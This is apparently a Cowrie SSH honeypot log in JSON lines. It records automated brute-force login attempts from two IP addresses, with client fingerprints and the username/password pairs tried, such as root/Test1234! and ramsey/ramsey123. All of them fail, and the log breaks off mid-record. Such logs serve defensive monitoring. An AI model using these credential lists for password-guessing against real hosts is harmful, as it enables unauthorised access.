{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:52.887772Z","src_ip":"60.165.124.241","session":"311ec2433183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ayidc.com","message":"login attempt [root/ayidc.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:53.605123Z","src_ip":"60.165.124.241","session":"311ec2433183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:54.846051Z","src_ip":"60.165.124.241","session":"311ec2433183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48870,"dst_ip":"10.17.0.5","dst_port":22,"session":"cec7778fb644","protocol":"ssh","message":"New connection: 60.165.124.241:48870 (10.17.0.5:22) [session: cec7778fb644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:55.078694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:55.088480Z","src_ip":"60.165.124.241","session":"cec7778fb644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:55.325984Z","src_ip":"60.165.124.241","session":"cec7778fb644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234!","message":"login attempt [root/Test1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:56.041457Z","src_ip":"60.165.124.241","session":"cec7778fb644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:57.281382Z","src_ip":"60.165.124.241","session":"cec7778fb644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51842,"dst_ip":"10.17.0.5","dst_port":22,"session":"96fbcaa14055","protocol":"ssh","message":"New connection: 60.165.124.241:51842 (10.17.0.5:22) [session: 96fbcaa14055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:57.516306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:57.521748Z","src_ip":"60.165.124.241","session":"96fbcaa14055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:57.760420Z","src_ip":"60.165.124.241","session":"96fbcaa14055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r$","message":"login attempt [root/Q1w2e3r$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:58.477688Z","src_ip":"60.165.124.241","session":"96fbcaa14055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:59.717730Z","src_ip":"60.165.124.241","session":"96fbcaa14055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54906,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7df91c6b878","protocol":"ssh","message":"New connection: 60.165.124.241:54906 (10.17.0.5:22) [session: b7df91c6b878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:59.954030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:59.961053Z","src_ip":"60.165.124.241","session":"b7df91c6b878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:00.200976Z","src_ip":"60.165.124.241","session":"b7df91c6b878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa159357","message":"login attempt [root/Aa159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:00.921879Z","src_ip":"60.165.124.241","session":"b7df91c6b878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":6748,"dst_ip":"159.203.135.109","dst_port":22,"session":"be0f14387dea","protocol":"ssh","message":"New connection: 213.209.159.56:6748 (159.203.135.109:22) [session: be0f14387dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:00.962422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:00.967207Z","src_ip":"213.209.159.56","session":"be0f14387dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:01.048740Z","src_ip":"213.209.159.56","session":"be0f14387dea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey","message":"login attempt [ramsey/ramsey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:01.451776Z","src_ip":"213.209.159.56","session":"be0f14387dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:02.164344Z","src_ip":"60.165.124.241","session":"b7df91c6b878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58158,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6af415c5fc0","protocol":"ssh","message":"New connection: 60.165.124.241:58158 (10.17.0.5:22) [session: b6af415c5fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:02.396213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:02.401360Z","src_ip":"60.165.124.241","session":"b6af415c5fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey1","message":"login attempt [ramsey/ramsey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:02.536756Z","src_ip":"213.209.159.56","session":"be0f14387dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:02.641705Z","src_ip":"60.165.124.241","session":"b6af415c5fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8008","message":"login attempt [root/8008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:03.361393Z","src_ip":"60.165.124.241","session":"b6af415c5fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey123","message":"login attempt [ramsey/ramsey123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:03.621993Z","src_ip":"213.209.159.56","session":"be0f14387dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:04.605420Z","src_ip":"60.165.124.241","session":"b6af415c5fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey1234","message":"login attempt [ramsey/ramsey1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:04.707475Z","src_ip":"213.209.159.56","session":"be0f14387dea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60878,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a1a1f636a4","protocol":"ssh","message":"New connection: 60.165.124.241:60878 (10.17.0.5:22) [session: 43a1a1f636a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:04.835282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:04.840820Z","src_ip":"60.165.124.241","session":"43a1a1f636a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:05.078041Z","src_ip":"60.165.124.241","session":"43a1a1f636a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zch855555","message":"login attempt [root/zch855555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:05.791031Z","src_ip":"60.165.124.241","session":"43a1a1f636a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey12345","message":"login attempt [ramsey/ramsey12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:05.796657Z","src_ip":"213.209.159.56","session":"be0f14387dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:06.880995Z","src_ip":"213.209.159.56","session":"be0f14387dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:07.028796Z","src_ip":"60.165.124.241","session":"43a1a1f636a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36046,"dst_ip":"10.17.0.5","dst_port":22,"session":"2806b56b2a77","protocol":"ssh","message":"New connection: 60.165.124.241:36046 (10.17.0.5:22) [session: 2806b56b2a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:07.268419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:07.274068Z","src_ip":"60.165.124.241","session":"2806b56b2a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:07.513653Z","src_ip":"60.165.124.241","session":"2806b56b2a77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Airtel@123","message":"login attempt [root/Airtel@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:08.237470Z","src_ip":"60.165.124.241","session":"2806b56b2a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:09.480250Z","src_ip":"60.165.124.241","session":"2806b56b2a77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39162,"dst_ip":"10.17.0.5","dst_port":22,"session":"747a551964e7","protocol":"ssh","message":"New connection: 60.165.124.241:39162 (10.17.0.5:22) [session: 747a551964e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:09.715984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:09.728712Z","src_ip":"60.165.124.241","session":"747a551964e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2